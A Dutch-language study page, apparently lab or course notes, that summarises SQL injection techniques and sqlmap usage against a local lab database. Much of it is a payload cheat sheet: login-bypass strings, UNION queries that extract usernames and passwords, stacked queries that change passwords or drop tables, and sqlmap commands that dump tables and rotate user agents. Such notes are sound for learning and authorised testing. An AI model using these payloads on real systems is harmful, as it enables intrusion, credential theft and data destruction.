> ## Documentation Index
> Fetch the complete documentation index at: https://docs.jaspervanzeir.be/llms.txt
> Use this file to discover all available pages before exploring further.

# SQL Injection & SQLmap

> Data uitlezen/manipuleren via SQL + automatiseren met SQLmap.

<Note>
  In dit onderdeel ging het over input die in SQL-queries terechtkomt. De belangrijkste gevolgen waren data uitlezen, loginlogica manipuleren en database-informatie enumereren.
</Note>

<Card title="PortSwigger SQLi cheat sheet" icon="book" href="https://portswigger.net/web-security/sql-injection/cheat-sheet">
  Volledige payload-referentie per database-type.
</Card>

## In een oogopslag

| Techniek       | Payload (basis)                                   |
| -------------- | ------------------------------------------------- |
| Detecteren     | `'` -> error? ; `OR 1=1` vs `OR 1=2`              |
| Login bypass   | `' OR 1=1 -- ` of `'administrator' -- `           |
| Hidden data    | `' OR 1=1 -- ` in filter/param                    |
| UNION attack   | `' UNION SELECT username,password FROM users -- ` |
| DB onderzoeken | versie + `information_schema`                     |
| Data wijzigen  | `'; UPDATE ... -- ` ; `'; DROP TABLE ... -- `     |
| Blind          | `AND 1=1` vs `AND 1=2`                            |
| SQLmap         | `sqlmap -u "...?id=1" --dbs`                      |

## Technieken in detail

<AccordionGroup>
  <Accordion title="Detecteren" icon="magnifying-glass">
    * Voeg een **enkele quote `'`** (of `;`) toe -> SQL-error = mogelijk kwetsbaar
    * **Boolean-test:** `OR 1=1` (true) vs `OR 1=2` (false) -> verschil = kwetsbaar
    * **String vs numeric:** string zit tussen `'...'` (uitbreken met `'`); numeric (`?id=10`) -> `10 AND 1=2`
    * `-- ` (met spatie!), `/* */` of `#` becommentarieert de rest weg
  </Accordion>

  <Accordion title="Login bypass" icon="right-to-bracket">
    Query: `... WHERE user='$u' AND password='$p'`

    * In het **username**-veld: `' OR 1=1 -- ` -> password-check wordt comment
    * Gericht: `administrator' -- ` of `' OR 1=1 LIMIT 1 -- `
    * Dubbele quotes: `" OR "1"="1`
  </Accordion>

  <Accordion title="UNION attack" icon="layer-group">
    Resultaten van een tweede query aan de output plakken. **Zelfde aantal kolommen + compatibele types.**

    <Steps>
      <Step title="Aantal kolommen">
        `' ORDER BY 1 -- `, `2 -- `, ... tot een error. Of `' UNION SELECT NULL,NULL -- ` tot geen error.
      </Step>

      <Step title="String-kolom vinden">
        `' UNION SELECT 'a',NULL,NULL -- ` -> schuif `'a'` door tot ze zonder type-error toont.
      </Step>

      <Step title="Data ophalen">
        `' UNION SELECT username,password FROM users -- `

        Alles in 1 kolom: `' UNION SELECT NULL,username||'~'||password FROM users -- `
      </Step>
    </Steps>
  </Accordion>

  <Accordion title="Database onderzoeken" icon="server">
    * Versie: `' UNION SELECT @@version -- ` (MySQL/MSSQL) ; `version()` (Postgres) ; `v$version` (Oracle)
    * Tabellen: `' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='db' -- `
    * Kolommen: `' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users' -- `
  </Accordion>

  <Accordion title="Data wijzigen (stacked queries)" icon="pen">
    * Update: `'; UPDATE users SET password='123' WHERE username='Admin' -- `
    * Insert: `'; INSERT INTO users (username,password) VALUES ('koenK','123') -- `
    * Drop: `'; DROP TABLE access_log -- `
  </Accordion>

  <Accordion title="Blind SQLi" icon="eye-slash">
    Geen data/error zichtbaar, alleen true/false-verschil.

    * Boolean: `... id=1 AND 1=1` (normaal) vs `id=1 AND 1=2` (anders/leeg)
    * Char per char: `' OR substring(database(),1,1)='b' -- `, `' OR length(database())=5 -- `
    * Traag -> **automatiseer met SQLmap**
  </Accordion>

  <Accordion title="NoSQL & second-order" icon="puzzle-piece">
    * **NoSQL (MongoDB):** injecteer logica -> `' || true || '` retourneert alle records
    * **Second-order:** input wordt veilig opgeslagen maar later onveilig hergebruikt
  </Accordion>
</AccordionGroup>

## Inputlocaties en encoding

De SQL-logica is overal identiek. Wat verschilt: **encoding** en **gereedschap**.

<Tabs>
  <Tab title="Input-veld (POST)">
    Bij POST-velden werd de payload raw ingevoerd. De browser encodeert de request daarna zelf:

    ```text theme={null}
    ' OR 1=1 -- 
    ```

    Valkuil: `maxlength` / `type=number` / JS-validatie -> onderschep met Burp.
  </Tab>

  <Tab title="URL / GET">
    URL-encoden:

    ```text theme={null}
    https://site/products?category=Gifts'+OR+1=1--+
    ```

    | Teken         | Schrijf als     |
    | ------------- | --------------- |
    | spatie        | `+` of `%20`    |
    | `#`           | `%23`           |
    | `&`           | `%26`           |
    | `--` trailing | `--+` of `-- -` |
  </Tab>

  <Tab title="Headers / overig">
    * **HTTP-headers** (`Cookie`, `User-Agent`, `Referer`) -> aanpassen in Burp
    * **Hidden fields** -> via Burp/F12
    * **JSON/API:** `{"id":"1' OR 1=1--"}`
  </Tab>
</Tabs>

## SQLmap

```bash theme={null}
sqlmap -u "http://localhost/4.php?id=1" --dbs                      # databases
sqlmap -u "http://localhost/4.php?id=1" -D labSQLi --tables        # tabellen
sqlmap -u "http://localhost/4.php?id=1" -D labSQLi -T users --columns
sqlmap -u "http://localhost/4.php?id=1" --dump -D labSQLi -T users # data
```

| Vector                     | SQLmap-aanpak                                                 |
| -------------------------- | ------------------------------------------------------------- |
| URL / GET                  | `sqlmap -u "...?id=1"` (`-p id` om param te kiezen)           |
| POST-body                  | `--data="user=x&pass=y"`                                      |
| Volledige request          | onderschep in Burp -> Copy to file -> `sqlmap -r request.txt` |
| Cookie / login             | `--cookie="PHPSESSID=...;security_level=0"`                   |
| Headers/cookies met SQLmap | `--level 2` (cookies), `--level 3` (User-Agent/Referer)       |
| Eigen injectiepunt         | zet een `*` op die plek in `-r` of `--data`                   |

### Handige SQLmap parameters

| Parameter                              | Wat doet het?                                | Handig wanneer                                              |
| -------------------------------------- | -------------------------------------------- | ----------------------------------------------------------- |
| `-u "URL"`                             | Doel-URL met parameter.                      | Snelle GET-test zoals `?id=1`.                              |
| `-r request.txt`                       | Laadt een volledige HTTP-request.            | Burp-request exact herhalen, inclusief headers en cookies.  |
| `-p id`                                | Test alleen die parameter.                   | SQLmap test anders te breed of mist de juiste plek.         |
| `--data="a=1&b=2"`                     | Stuurt POST-data mee.                        | Loginforms, filters en API-endpoints.                       |
| `--cookie="PHPSESSID=..."`             | Stuurt cookies mee.                          | Authenticated SQLi testen.                                  |
| `--headers="X-Test: 1"`                | Stuurt extra headers mee.                    | Custom headers of API headers nodig.                        |
| `--level 2` / `--level 3`              | Test meer plaatsen zoals cookies en headers. | Injectie zit niet in een gewone URL-param.                  |
| `--risk 2` / `--risk 3`                | Laat riskantere tests toe.                   | Meer payloads nodig, maar pas op bij data-wijzigende tests. |
| `--batch`                              | Beantwoordt vragen automatisch.              | Snelle runs zonder interactieve prompts.                    |
| `--dbs`                                | Enumereert databases.                        | Eerste database-overzicht.                                  |
| `-D naam --tables`                     | Toont tabellen in database.                  | Na `--dbs` verder graven.                                   |
| `-D naam -T tabel --columns`           | Toont kolommen in tabel.                     | Voor gericht dumpen.                                        |
| `-D naam -T tabel -C col1,col2 --dump` | Dumpt gekozen kolommen.                      | Alleen nuttige data ophalen.                                |
| `--current-db`                         | Toont huidige database.                      | Snel weten waar de app op zit.                              |
| `--current-user`                       | Toont database-user.                         | Rechten en context begrijpen.                               |
| `--technique=U`                        | Beperkt tot een techniek, bv. UNION.         | Als je al weet welke techniek werkt.                        |
| `--proxy=http://127.0.0.1:8080`        | Stuurt SQLmap via Burp.                      | Payloads en responses live volgen.                          |
| `--random-agent`                       | Wisselt User-Agent.                          | Eenvoudige blocks of filtering omzeilen.                    |
| `--flush-session`                      | Vergeet oude SQLmap-resultaten.              | Na codewijziging of foutieve detectie opnieuw testen.       |

Voor een Burp-request is dit meestal de properste start:

```bash theme={null}
sqlmap -r request.txt -p id --batch --current-db
```

<Tip>
  Soms is de **tabel-/kolomnaam zelf de key**. Daarom waren `--tables` en `--columns` belangrijk in de SQLmap-notities. `--batch` slaat interactieve vragen over.
</Tip>

## Tools

<CardGroup cols={3}>
  <Card title="SQLmap" icon="database" href="https://sqlmap.org/">
    Tool voor detectie, database-enumeratie en dumps.
  </Card>

  <Card title="Burp Suite" icon="shield" href="https://portswigger.net/burp">
    Handig om volledige requests te bewaren voor `sqlmap -r`.
  </Card>

  <Card title="Browser DevTools" icon="code" href="https://firefox-source-docs.mozilla.org/devtools-user/">
    Referentie voor errors, request parameters en responseverschillen.
  </Card>

  <Card title="PortSwigger SQLi cheat sheet" icon="book" href="https://portswigger.net/web-security/sql-injection/cheat-sheet">
    Payloads per database-type en aanvalsvorm.
  </Card>
</CardGroup>
